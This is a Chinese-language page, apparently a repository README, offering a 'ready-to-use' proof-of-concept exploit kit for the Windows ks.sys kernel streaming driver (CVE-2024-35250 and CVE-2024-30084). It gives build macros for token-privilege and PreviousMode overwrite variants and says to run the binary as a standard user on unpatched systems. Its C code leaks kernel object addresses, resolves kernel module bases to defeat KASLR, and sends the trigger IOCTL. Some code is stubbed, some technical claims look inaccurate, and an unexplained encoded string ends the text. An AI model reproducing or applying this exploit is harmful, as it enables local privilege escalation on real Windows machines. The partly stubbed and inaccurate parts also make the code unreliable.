Windows内核驱动漏洞利用工具集 (CVE-2024-35250 / CVE-2024-30084)

3 阅读4分钟

Windows Kernel Streaming Driver Exploit PoC

该项目是针对 ks.sys Windows 内核流驱动程序中多个“不可信指针解引用”漏洞(CVE-2024-35250 和 CVE-2024-30084)的概念验证代码集。它演示了攻击者如何在拥有中等完整性级别(Medium IL) 权限(如标准用户)的情况下,通过特定内核接口操作,实现读取并利用内核对象地址,最终可能导致权限提升或内核态代码执行。

功能特性

  • 双漏洞覆盖:同时支持 CVE-2024-35250 与 CVE-2024-30084,通过预处理器宏切换利用目标。
  • 内核对象地址泄露:利用内核流代理机制(KSProxy)获取当前进程 Token、_KTHREAD 或 System _EPROCESS 的内核态虚拟地址。
  • 跨平台测试:已在 Windows 11 22h2 (Build 22621) 和 Windows 10 20h2 (Build 19042) 及 VMware 虚拟机环境中验证。
  • 绕过缓解措施:通过解析内核模块与句柄表信息,辅助绕过 KASLR(内核地址空间布局随机化)。
  • 即用型 PoC:提供完整的 Visual Studio 项目配置,包含必要的库链接(Ksproxy, SetupAPI, ntdllp)和内核结构体定义。

安装指南

系统要求

  • 操作系统:Windows 10 / 11 (x64)
  • 开发环境:Visual Studio 2019 或更高版本(支持 MSVC)
  • 权限:本地管理员(用于调试驱动加载)或具有测试签名模式

依赖项

项目使用以下 Windows SDK 库:

  • Ksproxy.lib – 内核流代理接口
  • ksuser.lib – 内核流用户态辅助
  • SetupAPI.lib – 设备安装函数
  • Advapi32.lib – 高级 Windows API(令牌操作)
  • ntdllp.lib – 原生 NT API 接口

编译步骤

  1. 克隆仓库并打开解决方案文件(.sln)。
  2. 选择 x64 平台配置(漏洞依赖于 64 位内核结构偏移)。
  3. 根据目标漏洞定义预处理器宏:
    • 利用 CVE-2024-30084:在项目属性中定义 _CVE_2024_30084
    • 利用 Token 特权提升:定义 _SEP_TOKEN_PRIVILEGES
    • 利用 Previous Mode 覆盖:定义 _PREVIOUS_MODE
  4. 生成解决方案(生成 → 生成解决方案)。

运行准备

  • 普通用户(Medium IL)身份执行编译后的可执行文件。
  • 确保系统未安装针对 ks.sys 的官方安全补丁(KB5040448 或更高)。

使用说明

基础示例(Token 地址泄露)

#include "common.h"

int main() {
    HANDLE hDevice = GetKsDevice(KSCATEGORY_DRM_DESCRAMBLE);
    if (!hDevice) return -1;

    HANDLE hToken;
    OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);

    uint64_t ktoken_obj = 0;
    GetObjPtr(&ktoken_obj, GetCurrentProcessId(), hToken);

    printf("[+] Current token kernel address: 0x%llx\n", ktoken_obj);
    // 后续可利用该地址构造任意内核写原语...
    return 0;
}

典型利用场景

1. 泄露 System 进程 _EPROCESS 内核地址

通过硬编码句柄值(4)获取 PID 为 4 的 System 进程内核对象指针,用于后续遍历活动进程链或窃取令牌。

2. 获取当前线程 _KTHREAD 地址

利用 OpenThread 获取当前线程句柄,然后调用 GetObjPtr 读取内核中的 _KTHREAD 结构地址。结合 _KTHREAD_PREVIOUS_MODE_OFFSET 可修改处理器模式以绕过 IRQL 检查。

3. 操作内核 Token 特权位

定位 _SEP_TOKEN_PRIVILEGES 结构偏移(示例中为 0x40),直接提升当前进程 Token 中的特权位(如 SeDebugPrivilege)。

API 概览

函数描述
GetKsDevice(GUID)创建并打开指定的内核流设备(如 KSNAME_ServerKSCATEGORY_DRM_DESCRAMBLE
GetObjPtr()利用句柄表信息或特定漏洞原语,返回用户态句柄对应的内核对象指针(_EPROCESS, _TOKEN, _KTHREAD
SystemHandleInformation通过 NtQuerySystemInformation 泄露系统范围内所有句柄的对象地址

核心代码

1. 内核设备打开与对象指针泄露

/* common.h - 内核对象地址泄露核心逻辑 */
HANDLE GetKsDevice(REFGUID Category) {
    HANDLE hDevice = NULL;
    // 创建设备接口集合并获取流设备句柄
    // ... 具体实现省略,依赖于 KsCreateDevice
    return hDevice;
}

uint32_t GetObjPtr(uint64_t *pObjAddr, DWORD pid, HANDLE hHandle) {
    PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
    ULONG size = SystemHandleInformationSize;
    NTSTATUS status;

    // 分配内存并查询系统句柄表
    pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(size);
    status = NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, size, NULL);

    // 遍历句柄表查找匹配 (PID, HandleValue) 的条目
    for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) {
        if (pHandleInfo->Handles[i].UniqueProcessId == pid &&
            pHandleInfo->Handles[i].HandleValue == (USHORT)hHandle) {
            *pObjAddr = (uint64_t)pHandleInfo->Handles[i].Object;
            free(pHandleInfo);
            return 0;
        }
    }
    free(pHandleInfo);
    return -1;
}

2. 内核模块基址解析 (绕过 KASLR)

/* 获取系统模块基址,例如 ks.sys 或 ntoskrnl.exe */
uint64_t GetModuleBase(const char* moduleName) {
    PSYSTEM_MODULE_INFORMATION pModuleInfo = NULL;
    ULONG size = 0;
    NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &size);
    pModuleInfo = (PSYSTEM_MODULE_INFORMATION)malloc(size);
    NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, size, NULL);

    for (ULONG i = 0; i < pModuleInfo->ModulesCount; i++) {
        if (strstr(pModuleInfo->Modules[i].Name, moduleName)) {
            uint64_t base = (uint64_t)pModuleInfo->Modules[i].ImageBaseAddress;
            free(pModuleInfo);
            return base;
        }
    }
    free(pModuleInfo);
    return 0;
}

3. 漏洞触发点示例 (CVE-2024-35250 原语)

/* 通过 ks.sys 中未检查的用户态指针,触发内核读写 */
void TriggerUncheckedPointerDeref(HANDLE hDevice, PVOID FakeKernelAddr) {
    // 构造特定的 KS 属性或方法操作,传递一个伪造的内核指针
    KSPROPERTY property;
    property.Set = KSPROPSETID_StreamInterface;
    property.Id = KSPROPERTY_STREAMINTERFACE_HEADERSIZE;
    property.Flags = KSPROPERTY_TYPE_SET;

    // 漏洞点:驱动程序未验证用户传入的指针是否位于内核空间
    // 从而允许将任意值写入 [FakeKernelAddr + offset]
    DeviceIoControl(hDevice, IOCTL_KS_PROPERTY, &property, sizeof(property),
                    FakeKernelAddr, sizeof(PVOID), NULL, NULL);
}

6HFtX5dABrKlqXeO5PUv/7NbKPXfti/JE+R4EqSiYsQ=